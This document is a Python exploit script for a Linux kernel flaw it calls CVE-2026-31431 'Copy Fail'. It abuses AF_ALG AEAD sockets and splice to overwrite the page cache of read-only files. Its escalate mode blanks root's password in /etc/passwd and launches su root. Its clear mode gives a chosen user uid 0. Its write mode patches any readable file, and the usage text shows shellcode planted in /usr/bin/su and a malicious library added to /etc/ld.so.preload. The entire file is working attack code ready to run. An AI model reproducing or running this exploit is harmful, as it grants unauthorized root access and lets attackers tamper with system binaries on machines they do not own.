#!/usr/bin/env python3
import os
import socket
import sys
import ctypes
import ctypes.util

if not hasattr(os, "splice"):
    _libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
    _libc.splice.argtypes = [
        ctypes.c_int,
        ctypes.POINTER(ctypes.c_int64),
        ctypes.c_int,
        ctypes.POINTER(ctypes.c_int64),
        ctypes.c_size_t,
        ctypes.c_uint,
    ]
    _libc.splice.restype = ctypes.c_ssize_t

    def _splice(fd_in, fd_out, count, offset_src=None, offset_dst=None):
        if offset_src is not None:
            off_in = ctypes.byref(ctypes.c_int64(offset_src))
        else:
            off_in = None

        if offset_dst is not None:
            off_out = ctypes.byref(ctypes.c_int64(offset_dst))
        else:
            off_out = None

        ret = _libc.splice(fd_in, off_in, fd_out, off_out, count, 0)
        if ret < 0:
            err = ctypes.get_errno()
            raise OSError(err, os.strerror(err))
        return ret

    os.splice = _splice

AF_ALG          = 38
SOCK_SEQPACKET  = 5
SOL_ALG         = 279
MSG_MORE        = 0x8000

ALG_SET_KEY           = 1
ALG_SET_IV            = 2
ALG_SET_OP            = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5

AEAD_ALGORITHM = "authencesn(hmac(sha256),cbc(aes))"
AUTH_TAG_SIZE  = 4
ASSOC_LEN      = 8
IV_LEN         = 16

AUTHENC_KEY = (
    b"\x08\x00"
    b"\x01\x00"
    b"\x00\x00\x00\x10"
    + b"\x00" * 32
)

def _build_cmsg():
    return [
        (SOL_ALG, ALG_SET_OP, (0).to_bytes(4, "little")),
        (SOL_ALG, ALG_SET_IV, IV_LEN.to_bytes(4, "little") + b"\x00" * IV_LEN),
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, ASSOC_LEN.to_bytes(4, "little")),
    ]

CMSG = _build_cmsg()

def _write_4bytes(target_fd, file_offset, value):
    assert len(value) == 4

    alg = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
    alg.bind(("aead", AEAD_ALGORITHM))
    alg.setsockopt(SOL_ALG, ALG_SET_KEY, AUTHENC_KEY)
    alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, AUTH_TAG_SIZE)
    req, _ = alg.accept()

    aad = b"\x41" * 4 + value
    req.sendmsg([aad], CMSG, MSG_MORE)

    splice_len = file_offset + AUTH_TAG_SIZE
    pipe_r, pipe_w = os.pipe()
    os.splice(target_fd, pipe_w, splice_len, offset_src=0)
    os.splice(pipe_r, req.fileno(), splice_len)
    os.close(pipe_r)
    os.close(pipe_w)

    try:
        req.recv(ASSOC_LEN + file_offset)
    except OSError:
        pass

    req.close()
    alg.close()

class PageCacheWriter:
    def __init__(self, path):
        self.path = path
        self._fd = None

    def __enter__(self):
        self._fd = os.open(self.path, os.O_RDONLY)
        self._file_size = os.fstat(self._fd).st_size
        return self

    def __exit__(self, *_):
        if self._fd is not None:
            os.close(self._fd)
            self._fd = None

    def write(self, offset, data):
        if self._fd is None:
            raise RuntimeError("Writer not open. Use 'with' statement.")

        end = offset + len(data)
        if end + AUTH_TAG_SIZE > self._file_size:
            raise ValueError(
                f"Write at [{offset}:{end}] requires file size >= {end + AUTH_TAG_SIZE}, "
                f"but {self.path} is {self._file_size} bytes."
            )
        if offset < 0:
            raise ValueError("Offset must be non-negative.")

        bytes_written = 0
        pos = 0

        while pos < len(data):
            chunk = data[pos : pos + 4]
            if len(chunk) < 4:
                chunk = chunk.ljust(4, b"\x90")

            _write_4bytes(self._fd, offset + pos, chunk)
            bytes_written += min(4, len(data) - pos)
            pos += 4

        return bytes_written

    def read_cached(self, offset, length):
        os.lseek(self._fd, offset, os.SEEK_SET)
        return os.read(self._fd, length)

def patch_passwd(username, new_shell=None, new_uid=None, new_gid=None):
    """
    清空指定用户的密码，可选修改 shell、UID、GID。
    始终保持该行在 /etc/passwd 中的原始长度不变。
    """
    with open("/etc/passwd", "rb") as f:
        content = f.read()

    with open("/tmp/.passwd.bak", "wb") as f:
        f.write(content)
    print(f"[*] Backup: /tmp/.passwd.bak")

    target_prefix = username.encode() + b":"
    for line in content.split(b"\n"):
        if line.startswith(target_prefix):
            break
    else:
        print(f"[-] User {username} not found in /etc/passwd")
        return False

    line_offset = content.index(line)
    fields = list(line.split(b":"))

    # 判断原始 shell 是否带换行（保留格式）
    orig_shell_has_newline = fields[6].endswith(b"\n") if len(fields) > 6 else False

    # 1. 清空密码
    fields[1] = b""

    # 2. 修改 UID / GID（若指定）
    if new_uid is not None:
        fields[2] = str(new_uid).encode()
    if new_gid is not None:
        fields[3] = str(new_gid).encode()

    # 3. 修改 shell（若指定）
    if new_shell is not None:
        new_shell_enc = new_shell.encode()
        if orig_shell_has_newline:
            fields[6] = new_shell_enc + b"\n"
        else:
            fields[6] = new_shell_enc

    # 4. 长度平衡（保持原始行长度不变）
    raw_new_line = b":".join(fields)
    old_line_len = len(line)
    delta = len(raw_new_line) - old_line_len

    if delta > 0:
        # 新行太长，缩短 GECOS 字段
        if len(fields[4]) >= delta:
            fields[4] = fields[4][:-delta]
        else:
            print(f"[-] Cannot shrink GECOS by {delta} bytes (only {len(fields[4])} available).")
            return False
    elif delta < 0:
        # 新行太短，用空格填充 GECOS
        fields[4] += b" " * (-delta)

    new_line = b":".join(fields)
    assert len(new_line) == old_line_len, f"Length mismatch: {len(new_line)} vs {old_line_len}"

    print(f"[*] Before : {line.decode()}")
    print(f"[*] After  : {new_line.decode()}")
    print(f"[*] Offset : {line_offset}")
    print()

    # 写入页面缓存
    with PageCacheWriter("/etc/passwd") as w:
        pos = 0
        while pos < len(new_line):
            chunk = new_line[pos:pos + 4]
            if len(chunk) < 4:
                # 用原始文件后续字节补足，不够补零
                tail_off = line_offset + pos + len(chunk)
                need = 4 - len(chunk)
                if tail_off < len(content):
                    available = min(need, len(content) - tail_off)
                    chunk += content[tail_off : tail_off + available]
                if len(chunk) < 4:
                    chunk += b"\x00" * (4 - len(chunk))
            file_off = line_offset + pos
            print(f"    [0x{file_off:06x}]  {chunk.hex()}  "
                  f"{''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)}")
            _write_4bytes(w._fd, file_off, chunk)
            pos += 4

    # 验证
    with open("/etc/passwd", "rb") as f:
        verify = f.read()
    patched = verify[line_offset : line_offset + len(new_line)]
    expected_start = username.encode() + b"::"  # 无密码
    if patched.startswith(expected_start):
        print()
        print(f"[+] Success: {patched.decode()}")
        return True
    else:
        print()
        print(f"[-] Failed: {patched}")
        return False

def main():
    if len(sys.argv) < 2:
        usage()

    cmd = sys.argv[1]

    if cmd == "escalate":
        cmd_escalate()
    elif cmd == "write":
        cmd_write()
    elif cmd == "clear":
        cmd_clear()
    else:
        if len(sys.argv) >= 4:
            sys.argv.insert(1, "write")
            cmd_write()
        else:
            usage()

def usage():
    print(f"Usage:")
    print(f"  {sys.argv[0]} escalate")
    print(f"  {sys.argv[0]} clear <username>")
    print(f"  {sys.argv[0]} write <file> <offset> <data>")
    print()
    print("  file    — path to any readable file")
    print("  offset  — byte offset (decimal or 0x hex)")
    print("  data    — data to write (string, or @filename to read from file)")
    print()
    print("Examples:")
    print(f"  {sys.argv[0]} escalate")
    print(f"  {sys.argv[0]} clear guitiancom")
    print(f"  {sys.argv[0]} write /usr/bin/su 0x1040 @shellcode.bin")
    print(f"  {sys.argv[0]} write /etc/ld.so.preload 0 '/tmp/evil.so\\n'")
    print(f"  {sys.argv[0]} write /usr/lib/libc.so.6 0x284a0 '\\x31\\xc0\\xc3\\x90'")
    sys.exit(1)

def cmd_write():
    if len(sys.argv) < 5:
        usage()

    target_path = sys.argv[2]
    offset = int(sys.argv[3], 0)

    data_arg = sys.argv[4]
    if data_arg.startswith("@"):
        with open(data_arg[1:], "rb") as f:
            data = f.read()
    else:
        data = data_arg.encode("utf-8").decode("unicode_escape").encode("latin-1")

    print(f"[*] CVE-2026-31431 — Copy Fail")
    print(f"[*] Target : {target_path}")
    print(f"[*] Offset : {offset} (0x{offset:x})")
    print(f"[*] Length : {len(data)} bytes")
    print()
    
    assert len(data) % 4 == 0
    assert len(data) > 0

    with PageCacheWriter(target_path) as w:
        for i in range(0, len(data), 4):
            chunk = data[i:i+4].ljust(4, b"\x90")
            print(f"    [0x{offset+i:06x}]  {chunk.hex()}  {''.join(chr(b) if 32<=b<127 else '.' for b in chunk)}")

        written = w.write(offset, data)

    print()
    print(f"[+] {written} bytes written to page cache of {target_path}")
    print(f"[+] On-disk file unchanged. All readers see corrupted version.")

    with PageCacheWriter(target_path) as w:
        readback = w.read_cached(offset, len(data))
        if readback[:len(data)] == data:
            print(f"[+] Verification: OK")
        else:
            print(f"[-] Verification: MISMATCH")
            print(f"    Expected: {data.hex()}")
            print(f"    Got:      {readback[:len(data)].hex()}")

def cmd_escalate():
    print(f"[*] CVE-2026-31431 — Copy Fail")
    print(f"[*] Mode: remove root password via /etc/passwd")
    print()

    if not patch_passwd("root"):
        sys.exit(1)

    print()
    print(f"[*] Recovery: echo 3 > /proc/sys/vm/drop_caches")
    print(f"[*] Running: su root (no password needed)")
    print()
    os.execlp("su", "su", "root")

def cmd_clear():
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} clear <username>")
        sys.exit(1)

    username = sys.argv[2]
    print(f"[*] CVE-2026-31431 — Copy Fail")
    print(f"[*] Mode: clear password, set shell to /bin/bash, and set uid/gid to 0 for user {username}")
    print()

    if not patch_passwd(username, new_shell="/bin/bash", new_uid=0, new_gid=0):
        sys.exit(1)

    print()
    print(f"[+] Done. User {username} now has no password, shell /bin/bash, and uid/gid = 0.")

if __name__ == "__main__":
    main()